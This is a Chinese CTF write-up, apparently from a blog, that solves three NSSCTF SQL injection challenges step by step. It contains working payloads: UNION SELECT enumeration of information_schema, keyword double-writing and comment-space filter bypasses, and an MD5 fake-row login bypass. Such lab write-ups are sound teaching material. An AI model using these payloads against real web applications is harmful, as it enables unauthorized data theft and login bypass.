NSSCTF———Web(sql注入)

LitCTF 2023\]这是什么?SQL !注一下 ! \[SWPUCTF 2022 新生赛\]ez_sql \[GXYCTF 2019\]BabySqli 点击右下角文章可跳转 #### **\[LitCTF 2023\]这是什么?SQL !注一下 !** 首先我们打开靶场查看信息,提示了闭合方式为id = (((((()))))) ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721150729005-1049259303.png) 然后我们进行判断回显位,用order by或group by都可以,会发现2有回显,3没有回显,所以回显位为2。如果细心可以发现题目也有提示username,password也可以猜测回显位为2,如果保险起见也可以测试一下 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721151020879-79010599.png) 接下来就是进行查询数据库的操作,一般来说我们用http://node5.anna.nssctf.cn:28411/?id=1)))))) union select 1,database() --+这种语句来查询,但这道题数据库有很多,而且直接查出来的数据库得到的flag是假的,所以我就不演示了,你们可以自己查查看,我们直接查询全部数据库名 我用的是union select 1,schema_name from information_schema.schemata--+来查询 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721151629372-1681652799.png) 可以看到有几个很可能存在flag的数据库 ctftraining和ctf,这里我就直接跟大家说第一个存在真的flag。然后进行常规的sql注入 第一步,查表名 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+ ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721152039760-1904850568.png) 可以看到有一个叫flag的表名, 第二步,查列名:union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'--+ ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721152256963-324982734.png) 最后再查询一下这个叫flag的数据就可以得到flag union select 1,group_concat(flag)from ctftraining.flag--+ ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721152418709-1975398400.png) #### **\[SWPUCTF 2022 新生赛\]ez_sql** 上来给了一波提示,相对安全的传参意思就是POST传参,还直接提示了参数是nss,我们先尝试随便输个数字,直接给了flag,但是这flag一看就是假的 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721163055338-594734091.png) 然后用nss1 and1=1 这种手段判断类型,这题是字符型我就不演示了,然后我们要去判断回显数,会发现or和空格都被过滤了 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721163659540-1473337592.png) 然后我们用双写or绕过,用/\*\*/代替空格,对了这里--+也被过滤了,我们可以用#号带替--+ 我们再试一次 nss=1'/\*\*/oorrder/\*\*/by/\*\*/3# 如果是4的话会报错,所以回显数为3 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721163919641-75340775.png) 然后我们用联合查询去查数据库名,这道题的union也被过滤了,同样我们双写绕过 nss=1'/\*\*/uniunionon/\*\*/select/\*\*/1,2,database()/\*\*/limit/\*\*/1,1# 后面用了limit 1,1,因为第一个回显位没有我们要的信息,我们需要跳转到第二个回显位,所以得到数据库名,NSS_db ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721164122170-1047440863.png) 下一步就是查表名 nss=1'/\*\*/uniunionon/\*\*/select/\*\*/1,2,group_concat(table_name)from/\*\*/infoorrmation_schema.tables/\*\*/where/\*\*/table_schema='NSS_db'/\*\*/limit/\*\*/1,1# 记得information里面的or也需要双写 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721164535168-621491597.png) 根据表名的格式估计flag在NSS_tb里面,继续查列名 nss=1'/\*\*/uniunionon/\*\*/select/\*\*/1,2,group_concat(column_name)from/\*\*/infoorrmation_schema.columns/\*\*/where/\*\*/table_name='NSS_tb'/\*\*/limit/\*\*/1,1# ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721164735307-2146287610.png) 再继续查这里面的数据 nss=1'/\*\*/uniunionon/\*\*/select/\*\*/1,2,group_concat(id,Secr3t,flll444g)from/\*\*/NSS_db.NSS_tb/\*\*/limit/\*\*/1,1# 得到flag:NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830} ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721164851421-1305656080.png) #### **\[GXYCTF 2019\]BabySqli** 这道题差点把我绕懵了 首先我们打开环境是一个登录界面,先尝试一下万能密码啥的,我这里先直接抓包,在burpsuit里面操作,发送到中继发现有一串神秘字母 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721175704698-208111209.png) 拿去解密一下,发现是base32和base64的加密,解密得到 select \* from user where username = '$name' 这段代码的意思是检索你输入的username是否在数据库中存在,我们可能就大致对这道题的查询有点数,我们去测试一下回显 注意这里是过滤了or的用大小写绕过,发现为4时报错,说明回显有三个,但如果我们去实际查询表名列名会发现很难查出来,因为这道题的过滤非常严格。 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721180155707-818799259.png) 那我们要用做题的经验来看,这是一道登录的界面,而列数又是三列,那估计三列分别对应id,username,password。再结合一开始解密的信息,依次去查询是否存在数据,那这三列就很有可能了 再加上我们可以发现,当我们随便输入账号密码时,弹出的是 wrong user! 当我们账户是admin时,弹出的是 wrong pass! ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721180637518-1171883465.png) 说明admin这个账户是存在的,但是我们不知道admin在第几列,我们可以去试一试,当放在第一列时: 提示用户名不对 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721181238905-1688137722.png) 放在第二列时,显示wrong pass! 说明username正确 ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721181308115-1492370729.png) 我们知道了账号,那我们得知道密码才能登录成功,这里有一个知识点:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5; 我们不知道密码我们可以去构造密码,用md5的形式,就比如我输的密码是123,那我用md5加密后输入到第三列,那也可以完成查询,登陆成功 123经过md5加密后结果为:202cb962ac59075b964b07152d234b70 下面实践: ![](https://img2024.cnblogs.com/blog/3455108/202407/3455108-20240721181650891-1505063275.png) 得到flag: NSSCTF{ce21b171-dc0b-4b09-a56d-d6cd629ae515} 这题的密码不是唯一的,随便你密码是什么,自己构造,md5加密输入进去就行啦